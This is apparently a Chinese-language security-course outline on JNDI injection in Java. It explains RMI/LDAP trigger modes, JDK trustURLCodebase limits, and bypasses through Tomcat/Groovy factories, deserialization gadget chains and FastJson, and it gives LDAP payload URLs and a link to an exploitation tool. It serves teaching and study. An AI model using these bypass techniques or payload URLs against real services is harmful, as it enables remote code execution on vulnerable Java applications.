JavaEE开发篇&JNDI注入&高版本绕过&组件利用&LDAP服务&RMI服务
#JNDI注入-低版本-原生开发&触发模式
-重要知识:
1、JNDI,LDAP,RMI,反序列化关系
2、LDAP,RMI利用时JDK版本限制
3、JDK高版本绕过方法的所需条件
注:前面2个知识点可以参考第37天直播内容
-原生开发:
String jndi="ldap://xx.xx.xx.xx/xx";
InitialContext initialContext = new InitialContext();
initialContext.lookup(jndi);
-触发模式:
1、远程引用模式(基于JDK版本)
2、本地引用模式(基于依赖Jar)
3、反序列化模式(基于gadget链)
针对JDK版本的jndi注入,
针对依赖jar包的jndi注入,
针对gadget链的jndi注入
#JNDI注入-高版本-反序列化&FastJson
参考文章:https://paper.seebug.org/942/
参考文章:https://tttang.com/archive/1405
1、原生开发RMI高版本绕过:(利用依赖jar包绕过)
com.sun.jndi.rmi.object.trustURLCodebase、
com.sun.jndi.cosnaming.object.trustURLCodebase的默认值变为false,
即不允许从远程的Codebase加载Reference工厂类,不过没限制本地加载类文件。
-Tomcat依赖
-Groovy依赖
-其他依赖(见参考)
2、原生开发LDAP高版本绕过:(利用反序列化链绕过(也要依赖包))
com.sun.jndi.ldap.object.trustURLCodebase属性的默认值被调整为false,
导致LDAP远程代码攻击方式开始失效。这里可以利用javaSerializedData属性,
当javaSerializedData属性value值不为空时,本地存在反序列化利用链时触发。
-反序列化链(借助链)
-其他依赖链(见参考)
3、FastJson组件LADP高版本绕过:
-利用今天讲到的gadget链去打高版本
ldap://127.0.0.1:6666/exp
ldap://192.168.1.4:1389/deserialCommonsCollections7
-自动化项目(解决几个组件的反序列化的注入高版本问题)
https://github.com/exp1orer/JNDI-Inject-Exploit
JNDI注入高版本的绕过:
看依赖jar包(反序列化链也是看依赖jar包)
具体那些可以:Tomcat Groovy CC等
参考:https://tttang.com/archive/1405